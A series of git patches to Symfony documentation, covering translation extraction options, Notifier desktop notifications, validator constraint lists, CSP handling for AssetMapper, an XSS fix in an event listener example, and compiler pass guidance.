 translation.rst | 26 ++++++++++++--------------
 1 file changed, 12 insertions(+), 14 deletions(-)

diff --git a/translation.rst b/translation.rst
index 2bbce00977a..a41b305dc8b 100644
--- a/translation.rst
+++ b/translation.rst
@@ -467,24 +467,23 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
-By default, the ``translation:extract`` command extracts new messages in
-*message/translation* pairs, with the translation populated with the same
-text as the message, prefixed by ``__``. You can customize this prefix using
-the ``--prefix`` option.
-
-If you want to leave new translations empty, use the ``--no-fill`` option.
-When enabled, only messages are created, and the translation strings are left
-empty. This is particularly useful when using external translation tools, as
-it ensures untranslated strings are easily identifiable without any pre-filled
-content. Note that when ``--no-fill`` is used, the ``--prefix`` option has
-no effect.
+By default, when the ``translation:extract`` command creates new entries in the
+trnaslation file, it uses the same content as both the source and the pending
+translation. The only difference is that the pending translation is prefixed by
+``__``. You can customize this prefix using the ``--prefix`` option:
 
 .. code-block:: terminal
 
-    # changes default prefix
     $ php bin/console translation:extract --force --prefix="NEW_" fr
 
-    # leaves new translations empty
+Alternatively, you can use the ``--no-fill`` option to leave the pending translation
+completely empty when creating new entries in the translation catalog. This is
+particularly useful when using external translation tools, as it makes it easier
+to spot untranslated strings:
+
+.. code-block:: terminal
+
+    # when using the --no-fill option, the --prefix option is ignored
     $ php bin/console translation:extract --force --no-fill fr
 
 .. versionadded:: 7.2
@@ -493,7 +492,6 @@ no effect.
 
 .. _translation-resource-locations:
 
-
 Translation Resource/File Names and Locations
 ---------------------------------------------
 

From 562893be94672b5987b74521d8abebac4d618d30 Mon Sep 17 00:00:00 2001
From: Jawira Portugal <dev@tugal.be>
Date: Mon, 28 Oct 2024 22:10:26 +0100
Subject: [PATCH 6472/7107] fix typo

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index a41b305dc8b..0e5f09d342e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -468,7 +468,7 @@ The ``translation:extract`` command looks for missing translations in:
         $ composer require nikic/php-parser
 
 By default, when the ``translation:extract`` command creates new entries in the
-trnaslation file, it uses the same content as both the source and the pending
+translation file, it uses the same content as both the source and the pending
 translation. The only difference is that the pending translation is prefixed by
 ``__``. You can customize this prefix using the ``--prefix`` option:
 

From e033e433ab3d65e88fc5470662ecc485fc3117a6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Oct 2024 10:07:55 +0100
Subject: [PATCH 6473/7107] [Notifier] Add some examples to the new Desktop
 channel notifications

---
 notifier.rst | 71 ++++++++++++++++++++++++++++++++++++++++++++--------
 1 file changed, 61 insertions(+), 10 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 144044ebe3e..b28bb541475 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -33,8 +33,14 @@ The notifier component supports the following channels:
   services like Slack and Telegram;
 * :ref:`Email channel <notifier-email-channel>` integrates the :doc:`Symfony Mailer </mailer>`;
 * Browser channel uses :ref:`flash messages <flash-messages>`.
-* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and browsers via push notifications.
-* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications on the same host machine.
+* :ref:`Push channel <notifier-push-channel>` sends notifications to phones and
+  browsers via push notifications.
+* :ref:`Desktop channel <notifier-desktop-channel>` displays desktop notifications
+  on the same host machine.
+
+.. versionadded:: 7.2
+
+    The ``Desktop`` channel was introduced in Symfony 7.2.
 
 .. _notifier-sms-channel:
 
@@ -635,9 +641,9 @@ configure the ``texter_transports``:
 Desktop Channel
 ~~~~~~~~~~~~~~~
 
-The desktop channel is used to display desktop notifications on the same host machine using
-:class:`Symfony\\Component\\Notifier\\Texter` classes. Currently, Symfony
-is integrated with the following providers:
+The desktop channel is used to display local desktop notifications on the same
+host machine using :class:`Symfony\\Component\\Notifier\\Texter` classes. Currently,
+Symfony is integrated with the following providers:
 
 ===============  ====================================  ==============================================================================
 Provider         Package                               DSN
@@ -645,18 +651,23 @@ Provider         Package                               DSN
 `JoliNotif`_     ``symfony/joli-notif-notifier``       ``jolinotif://default``
 ===============  ====================================  ==============================================================================
 
-.. versionadded: 7.2
+.. versionadded:: 7.2
 
     The JoliNotif bridge was introduced in Symfony 7.2.
 
-To enable a texter, add the correct DSN in your ``.env`` file and
-configure the ``texter_transports``:
+If you are using :ref:`Symfony Flex <symfony-flex>`, installing that package will
+also create the necessary environment variable and configuration. Otherwise, you'll
+need to add the following manually:
+
+1) Add the correct DSN in your ``.env`` file:
 
 .. code-block:: bash
 
     # .env
     JOLINOTIF=jolinotif://default
 
+2) Update the Notifier configuration to add a new texter transport:
+
 .. configuration-block::
 
     .. code-block:: yaml
@@ -699,9 +710,49 @@ configure the ``texter_transports``:
             ;
         };
 
-.. versionadded:: 7.2
+Now you can send notifications to your desktop as follows::
 
-    The ``Desktop`` channel was introduced in Symfony 7.2.
+    // src/Notifier/SomeService.php
+    use Symfony\Component\Notifier\Message\DesktopMessage;
+    use Symfony\Component\Notifier\TexterInterface;
+    // ...
+
+    class SomeService
+    {
+        public function __construct(
+            private TexterInterface $texter,
+        ) {
+        }
+
+        public function notifyNewSubscriber(User $user): void
+        {
+            $message = new DesktopMessage(
+                'New subscription! 🎉',
+                sprintf('%s is a new subscriber', $user->getFullName())
+            );
+
+            $texter->send($message);
+        }
+    }
+
+These notifications can be customized further, and depending on your operating system,
+they may support features like custom sounds, icons, and more::
+
+    use Symfony\Component\Notifier\Bridge\JoliNotif\JoliNotifOptions;
+    // ...
+
+    $options = (new JoliNotifOptions())
+        ->setIconPath('/path/to/icons/error.png')
+        ->setExtraOption('sound', 'sosumi')
+        ->setExtraOption('url', 'https://example.com');
+
+    $message = new DesktopMessage('Production is down', <<<CONTENT
+        ❌ Server prod-1 down
+        ❌ Server prod-2 down
+        ✅ Network is up
+        CONTENT, $options);
+
+    $texter->send($message);
 
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 651bb5470fdc2e1dbde58e20345cccd571971bdf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Oct 2024 10:23:19 +0100
Subject: [PATCH 6474/7107] [Validation] Fix some RST syntax issue

---
 validation/sequence_provider.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 55ff96acda2..7d3663f45fc 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -360,15 +360,15 @@ entity, and even register the group provider as a service.
 
 Here's how you can achieve this:
 
- 1) **Define a Separate Group Provider Class:** create a class that implements
-    the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
-    and handles the dynamic group sequence logic;
- 2) **Configure the User with the Provider:** use the ``provider`` option within
-    the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
-    attribute to link the entity with the provider class;
- 3) **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>`
-    is enabled, your custom provider will be automatically linked. Otherwise, you must
-    :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag.
+#. **Define a Separate Group Provider Class:** create a class that implements
+   the :class:`Symfony\\Component\\Validator\\GroupProviderInterface`
+   and handles the dynamic group sequence logic;
+#. **Configure the User with the Provider:** use the ``provider`` option within
+   the :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequenceProvider`
+   attribute to link the entity with the provider class;
+#. **Autowiring or Manual Tagging:** if :doc:` autowiring </service_container/autowiring>`
+   is enabled, your custom provider will be automatically linked. Otherwise, you must
+   :doc:`tag your service </service_container/tags>` manually with the ``validator.group_provider`` tag.
 
 .. configuration-block::
 

From e71f495ae4e9dd28260dca39f12764bec6e1e199 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Oct 2024 11:28:21 +0100
Subject: [PATCH 6475/7107] [Validator] Update the constraint index

---
 reference/constraints/map.rst.inc | 68 ++++++++++++++++++-------------
 1 file changed, 40 insertions(+), 28 deletions(-)

diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 58f519965d1..6c4d7f10936 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -4,53 +4,60 @@ Basic Constraints
 These are the basic constraints: use them to assert very basic things about
 the value of properties or the return value of methods on your object.
 
-* :doc:`NotBlank </reference/constraints/NotBlank>`
+.. class:: ui-list-two-columns
+
 * :doc:`Blank </reference/constraints/Blank>`
-* :doc:`NotNull </reference/constraints/NotNull>`
+* :doc:`IsFalse </reference/constraints/IsFalse>`
 * :doc:`IsNull </reference/constraints/IsNull>`
 * :doc:`IsTrue </reference/constraints/IsTrue>`
-* :doc:`IsFalse </reference/constraints/IsFalse>`
+* :doc:`NotBlank </reference/constraints/NotBlank>`
+* :doc:`NotNull </reference/constraints/NotNull>`
 * :doc:`Type </reference/constraints/Type>`
 
 String Constraints
 ~~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-three-columns
+
+* :doc:`Cidr </reference/constraints/Cidr>`
+* :doc:`CssColor </reference/constraints/CssColor>`
 * :doc:`Email </reference/constraints/Email>`
 * :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>`
-* :doc:`Length </reference/constraints/Length>`
-* :doc:`Url </reference/constraints/Url>`
-* :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Hostname </reference/constraints/Hostname>`
 * :doc:`Ip </reference/constraints/Ip>`
-* :doc:`Cidr </reference/constraints/Cidr>`
 * :doc:`Json </reference/constraints/Json>`
-* :doc:`Uuid </reference/constraints/Uuid>`
+* :doc:`Length </reference/constraints/Length>`
+* :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+* :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Ulid </reference/constraints/Ulid>`
+* :doc:`Url </reference/constraints/Url>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
-* :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
-* :doc:`CssColor </reference/constraints/CssColor>`
+* :doc:`Uuid </reference/constraints/Uuid>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-three-columns
+
+* :doc:`DivisibleBy </reference/constraints/DivisibleBy>`
 * :doc:`EqualTo </reference/constraints/EqualTo>`
-* :doc:`NotEqualTo </reference/constraints/NotEqualTo>`
+* :doc:`GreaterThan </reference/constraints/GreaterThan>`
+* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>`
 * :doc:`IdenticalTo </reference/constraints/IdenticalTo>`
-* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>`
 * :doc:`LessThan </reference/constraints/LessThan>`
 * :doc:`LessThanOrEqual </reference/constraints/LessThanOrEqual>`
-* :doc:`GreaterThan </reference/constraints/GreaterThan>`
-* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>`
+* :doc:`NotEqualTo </reference/constraints/NotEqualTo>`
+* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>`
 * :doc:`Range </reference/constraints/Range>`
-* :doc:`DivisibleBy </reference/constraints/DivisibleBy>`
 * :doc:`Unique </reference/constraints/Unique>`
 
 Number Constraints
 ~~~~~~~~~~~~~~~~~~
-* :doc:`Positive </reference/constraints/Positive>`
-* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>`
+
 * :doc:`Negative </reference/constraints/Negative>`
 * :doc:`NegativeOrZero </reference/constraints/NegativeOrZero>`
+* :doc:`Positive </reference/constraints/Positive>`
+* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>`
 
 Date Constraints
 ~~~~~~~~~~~~~~~~
@@ -64,9 +71,9 @@ Choice Constraints
 ~~~~~~~~~~~~~~~~~~
 
 * :doc:`Choice </reference/constraints/Choice>`
+* :doc:`Country </reference/constraints/Country>`
 * :doc:`Language </reference/constraints/Language>`
 * :doc:`Locale </reference/constraints/Locale>`
-* :doc:`Country </reference/constraints/Country>`
 
 File Constraints
 ~~~~~~~~~~~~~~~~
@@ -77,33 +84,38 @@ File Constraints
 Financial and other Number Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-two-columns
+
 * :doc:`Bic </reference/constraints/Bic>`
 * :doc:`CardScheme </reference/constraints/CardScheme>`
 * :doc:`Currency </reference/constraints/Currency>`
-* :doc:`Luhn </reference/constraints/Luhn>`
 * :doc:`Iban </reference/constraints/Iban>`
 * :doc:`Isbn </reference/constraints/Isbn>`
-* :doc:`Issn </reference/constraints/Issn>`
 * :doc:`Isin </reference/constraints/Isin>`
+* :doc:`Issn </reference/constraints/Issn>`
+* :doc:`Luhn </reference/constraints/Luhn>`
 
 Doctrine Constraints
 ~~~~~~~~~~~~~~~~~~~~
 
-* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
-* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
 * :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`
+* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
+* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
 
 Other Constraints
 ~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-three-columns
+
+* :doc:`All </reference/constraints/All>`
 * :doc:`AtLeastOneOf </reference/constraints/AtLeastOneOf>`
-* :doc:`Sequentially </reference/constraints/Sequentially>`
-* :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Callback </reference/constraints/Callback>`
-* :doc:`Expression </reference/constraints/Expression>`
-* :doc:`All </reference/constraints/All>`
-* :doc:`Valid </reference/constraints/Valid>`
 * :doc:`Cascade </reference/constraints/Cascade>`
-* :doc:`Traverse </reference/constraints/Traverse>`
 * :doc:`Collection </reference/constraints/Collection>`
+* :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Count </reference/constraints/Count>`
+* :doc:`Expression </reference/constraints/Expression>`
+* :doc:`GroupSequence </validation/sequence_provider>`
+* :doc:`Sequentially </reference/constraints/Sequentially>`
+* :doc:`Traverse </reference/constraints/Traverse>`
+* :doc:`Valid </reference/constraints/Valid>`

From 942396b31b6dd1bb251c2027e0b093dc5c1a9b3f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 29 Oct 2024 16:47:41 +0100
Subject: [PATCH 6476/7107] document the translation:extract command's --prefix
 option

---
 translation.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/translation.rst b/translation.rst
index 15c34460d86..3004c68d991 100644
--- a/translation.rst
+++ b/translation.rst
@@ -460,6 +460,15 @@ The ``translation:extract`` command looks for missing translations in:
     Support for extracting Translatable objects has been introduced in
     Symfony 5.3.
 
+By default, when the ``translation:extract`` command creates new entries in the
+translation file, it uses the same content as both the source and the pending
+translation. The only difference is that the pending translation is prefixed by
+``__``. You can customize this prefix using the ``--prefix`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console translation:extract --force --prefix="NEW_" fr
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations

From 358ece7b1547c74ddb53e01ad81cfe7879fe21ef Mon Sep 17 00:00:00 2001
From: Nic Wortel <nic@nicwortel.nl>
Date: Wed, 30 Oct 2024 16:21:49 +0100
Subject: [PATCH 6477/7107] [AssetMapper] Document usage of `strict-dynamic` in
 a CSP

AssetMapper will include special importmap entries for CSS files, which
get resolved to `data:application/javascript`.
See https://symfony.com/doc/current/frontend/asset_mapper.html#handling-css.

Browsers will report those as CSP violations, as `data:` scripts can
also be used for XSS attacks. For the same reason, allowing `data:` in
the CSP is not a safe solution.

https://github.com/symfony/symfony/issues/58416#issuecomment-2383265152
provides a solution: using `strict-dynamic` in the `script-src` directive
will allow the importmap to include other resources.

This commit adds that solution to the documentation.
---
 frontend/asset_mapper.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 1b0329d402d..b488fc76d11 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -402,6 +402,8 @@ from inside ``app.js``:
     // things on "window" become global variables
     window.$ = $;
 
+.. _asset-mapper-handling-css:
+
 Handling CSS
 ------------
 
@@ -1103,6 +1105,24 @@ it in the CSP header, and then pass the same nonce to the Twig function:
     {# the csp_nonce() function is defined by the NelmioSecurityBundle #}
     {{ importmap('app', {'nonce': csp_nonce('script')}) }}
 
+Content Security Policy and CSS Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your importmap includes CSS files, AssetMapper uses a trick to load those by
+adding ``data:application/javascript`` to the rendered importmap (see
+:ref:`Handling CSS <asset-mapper-handling-css>`).
+This can cause browsers to report CSP violations and block the CSS files from
+being loaded.
+To prevent this, you can add `strict-dynamic`_ to the ``script-src`` directive
+of your Content Security Policy, to tell the browser that the importmap is
+allowed to load other resources.
+
+.. note::
+
+    When using ``strict-dynamic``, the browser will ignore any other sources in
+    ``script-src`` such as ``'self'`` or ``'unsafe-inline'``, so any other
+    ``<script>`` tags will also need to be trusted via a nonce.
+
 The AssetMapper Component Caching System in dev
 -----------------------------------------------
 
@@ -1186,5 +1206,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file
 .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
 .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling
+.. _strict-dynamic: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic
 .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle

From 978a84aa63a28b228de42bde3251a8338f0bf523 Mon Sep 17 00:00:00 2001
From: kolossa <kolosssa@gmail.com>
Date: Wed, 30 Oct 2024 20:49:04 +0100
Subject: [PATCH 6478/7107] Add a 'Learn More' section to event dispatcher to
 easily find related content

---
 event_dispatcher.rst | 18 ++++++++++++++++++
 security.rst         |  6 ++++++
 2 files changed, 24 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ab3428f6cb0..b0280d64e72 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -814,3 +814,21 @@ could listen to the ``mailer.post_send`` event and change the method's return va
 
 That's it! Your subscriber should be called automatically (or read more about
 :ref:`event subscriber configuration <ref-event-subscriber-configuration>`).
+
+
+Learn More
+----------
+
+Security
+~~~~~~~~
+
+- :ref:`Security Events <security-security-events>`
+- :ref:`Authentication Events <security-authentication-events>`
+- :ref:`Other Events <security-other-events>`
+
+Other
+~~~~~
+
+- :doc:`/reference/events`
+- :doc:`/components/event_dispatcher`
+- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>`
diff --git a/security.rst b/security.rst
index 84e4ebb7d75..12ca6ae727a 100644
--- a/security.rst
+++ b/security.rst
@@ -2590,6 +2590,8 @@ implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
 Then, your ``isEqualTo()`` method will be called when comparing users instead
 of the core logic.
 
+.. _security-security-events:
+
 Security Events
 ---------------
 
@@ -2657,6 +2659,8 @@ for these events.
                     ]);
             };
 
+.. _security-authentication-events:
+
 Authentication Events
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -2691,6 +2695,8 @@ Authentication Events
     authentication. Listeners to this event can modify the error response
     sent back to the user.
 
+.. _security-other-events:
+
 Other Events
 ~~~~~~~~~~~~
 

From 2ff16f86c06053884b7643d18c65a579fa656112 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Thu, 31 Oct 2024 11:54:54 +0100
Subject: [PATCH 6479/7107] Fix XSS in example event dispatcher

---
 event_dispatcher.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index ab3428f6cb0..0a41064ad79 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -41,6 +41,7 @@ The most common way to listen to an event is to register an **event listener**::
             // Customize your response object to display the exception details
             $response = new Response();
             $response->setContent($message);
+            $response->headers->set('Content-Type', 'text/plain; charset=utf-8');
 
             // HttpExceptionInterface is a special type of exception that
             // holds status code and header details

From 4f64f710d8c3b8c2ed3ef3bacd4ab0d8e091b35c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 15:10:32 +0100
Subject: [PATCH 6480/7107] Minor tweak

---
 event_dispatcher.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 0a41064ad79..64ccfa56da6 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -41,6 +41,8 @@ The most common way to listen to an event is to register an **event listener**::
             // Customize your response object to display the exception details
             $response = new Response();
             $response->setContent($message);
+            // the exception message can contain unfiltered user input;
+            // set the content-type to text to avoid XSS issues
             $response->headers->set('Content-Type', 'text/plain; charset=utf-8');
 
             // HttpExceptionInterface is a special type of exception that

From b92bd96513027eb350098a0eac3e6cf3887a9042 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 15:17:30 +0100
Subject: [PATCH 6481/7107] Tweak

---
 event_dispatcher.rst | 13 ++-----------
 1 file changed, 2 insertions(+), 11 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 826120a61e9..4baea527a77 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -822,16 +822,7 @@ That's it! Your subscriber should be called automatically (or read more about
 Learn More
 ----------
 
-Security
-~~~~~~~~
-
-- :ref:`Security Events <security-security-events>`
-- :ref:`Authentication Events <security-authentication-events>`
-- :ref:`Other Events <security-other-events>`
-
-Other
-~~~~~
-
+- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>`
 - :doc:`/reference/events`
+- :ref:`Security-related Events <security-security-events>`
 - :doc:`/components/event_dispatcher`
-- :ref:`The Request-Response Lifecycle <the-workflow-of-a-request>`

From 77bb19fee49d206d84dc446ed68741dddd18f1bc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 15:18:56 +0100
Subject: [PATCH 6482/7107] Minor tweak

---
 event_dispatcher.rst | 1 -
 security.rst         | 4 ----
 2 files changed, 5 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 4baea527a77..17449012eb3 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -818,7 +818,6 @@ could listen to the ``mailer.post_send`` event and change the method's return va
 That's it! Your subscriber should be called automatically (or read more about
 :ref:`event subscriber configuration <ref-event-subscriber-configuration>`).
 
-
 Learn More
 ----------
 
diff --git a/security.rst b/security.rst
index 12ca6ae727a..4528d0d03b6 100644
--- a/security.rst
+++ b/security.rst
@@ -2659,8 +2659,6 @@ for these events.
                     ]);
             };
 
-.. _security-authentication-events:
-
 Authentication Events
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -2695,8 +2693,6 @@ Authentication Events
     authentication. Listeners to this event can modify the error response
     sent back to the user.
 
-.. _security-other-events:
-
 Other Events
 ~~~~~~~~~~~~
 

From 4964d30026e054837f3d4b7962a2bc596d8c0428 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 15:36:51 +0100
Subject: [PATCH 6483/7107] Minor tweak

---
 frontend/asset_mapper.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index b488fc76d11..ad5b78b5e13 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1111,11 +1111,11 @@ Content Security Policy and CSS Files
 If your importmap includes CSS files, AssetMapper uses a trick to load those by
 adding ``data:application/javascript`` to the rendered importmap (see
 :ref:`Handling CSS <asset-mapper-handling-css>`).
+
 This can cause browsers to report CSP violations and block the CSS files from
-being loaded.
-To prevent this, you can add `strict-dynamic`_ to the ``script-src`` directive
-of your Content Security Policy, to tell the browser that the importmap is
-allowed to load other resources.
+being loaded. To prevent this, you can add `strict-dynamic`_ to the ``script-src``
+directive of your Content Security Policy, to tell the browser that the importmap
+is allowed to load other resources.
 
 .. note::
 

From a18cae1f4869579c28b467f467862b0b661daadb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Oct 2024 17:04:03 +0100
Subject: [PATCH 6484/7107] [DependencyInjection] Update the article about
 compiler passes

---
 service_container/compiler_passes.rst | 80 ++++++++++++++++++---------
 1 file changed, 54 insertions(+), 26 deletions(-)

diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index fc5728685e0..11458a4e8e3 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -3,53 +3,85 @@ How to Work with Compiler Passes
 
 Compiler passes give you an opportunity to manipulate other
 :doc:`service definitions </service_container/definitions>` that have been
-registered with the service container. You can read about how to create them in
-the components section ":ref:`components-di-separate-compiler-passes`".
+registered with the service container.
 
-Compiler passes are registered in the ``build()`` method of the application kernel::
+.. _kernel-as-compiler-pass:
+
+If your compiler pass is relatively small, you can define it inside the
+application's ``Kernel`` class instead of creating a
+:ref:`separate compiler pass class <components-di-separate-compiler-passes>`.
+
+To do so, make your kernel implement :class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and add the compiler pass code inside the ``process()`` method::
 
     // src/Kernel.php
     namespace App;
 
-    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel
+    class Kernel extends BaseKernel implements CompilerPassInterface
     {
         use MicroKernelTrait;
 
         // ...
 
-        protected function build(ContainerBuilder $container): void
+        public function process(ContainerBuilder $container): void
         {
-            $container->addCompilerPass(new CustomPass());
+            // in this method you can manipulate the service container:
+            // for example, changing some container service:
+            $container->getDefinition('app.some_private_service')->setPublic(true);
+
+            // or processing tagged services:
+            foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) {
+                // ...
+            }
         }
     }
 
-.. _kernel-as-compiler-pass:
-
-One of the most common use-cases of compiler passes is to work with :doc:`tagged
-services </service_container/tags>`. In those cases, instead of creating a
-compiler pass, you can make the kernel implement
-:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
-and process the services inside the ``process()`` method::
+If you create separate compiler pass classes, enable them in the ``build()``
+method of the application kernel::
 
     // src/Kernel.php
     namespace App;
 
+    use App\DependencyInjection\Compiler\CustomPass;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
-    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
 
-    class Kernel extends BaseKernel implements CompilerPassInterface
+    class Kernel extends BaseKernel
     {
         use MicroKernelTrait;
 
         // ...
 
+        protected function build(ContainerBuilder $container): void
+        {
+            $container->addCompilerPass(new CustomPass());
+        }
+    }
+
+Working with Compiler Passes in Bundles
+---------------------------------------
+
+If your compiler pass is relatively small, you can add it directly in the main
+bundle class. To do so, make your bundle implement the
+:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface`
+and place the compiler pass code inside the ``process()`` method of the main
+bundle class::
+
+    // src/MyBundle/MyBundle.php
+    namespace App\MyBundle;
+
+    use App\DependencyInjection\Compiler\CustomPass;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class MyBundle extends AbstractBundle
+    {
         public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
@@ -63,12 +95,8 @@ and process the services inside the ``process()`` method::
         }
     }
 
-Working with Compiler Passes in Bundles
----------------------------------------
-
-:doc:`Bundles </bundles>` can define compiler passes in the ``build()`` method of
-the main bundle class (this is not needed when implementing the ``process()``
-method in the extension)::
+Alternatively, when using :ref:`separate compiler pass classes <components-di-separate-compiler-passes>`,
+bundles can enable them in the ``build()`` method of their main bundle class::
 
     // src/MyBundle/MyBundle.php
     namespace App\MyBundle;
@@ -88,7 +116,7 @@ method in the extension)::
     }
 
 If you are using custom :doc:`service tags </service_container/tags>` in a
-bundle then by convention, tag names consist of the name of the bundle
-(lowercase, underscores as separators), followed by a dot, and finally the
-"real" name. For example, if you want to introduce some sort of "transport" tag
-in your AcmeMailerBundle, you should call it ``acme_mailer.transport``.
+bundle, the convention is to format tag names by starting with the bundle's name
+in lowercase (using underscores as separators), followed by a dot, and finally
+the specific tag name. For example, to introduce a "transport" tag in your
+AcmeMailerBundle, you would name it ``acme_mailer.transport``.

From 08c14844bd84010d7bfcdab939305323044966d4 Mon Sep 17 00:00:00 2001
From: Toby Griffiths <toby@cubicmushroom.co.uk>
Date: Thu, 19 Sep 2024 19:29:44 +0100
Subject: [PATCH 6485/7107] [Routing] Add note on nuances of the Routing
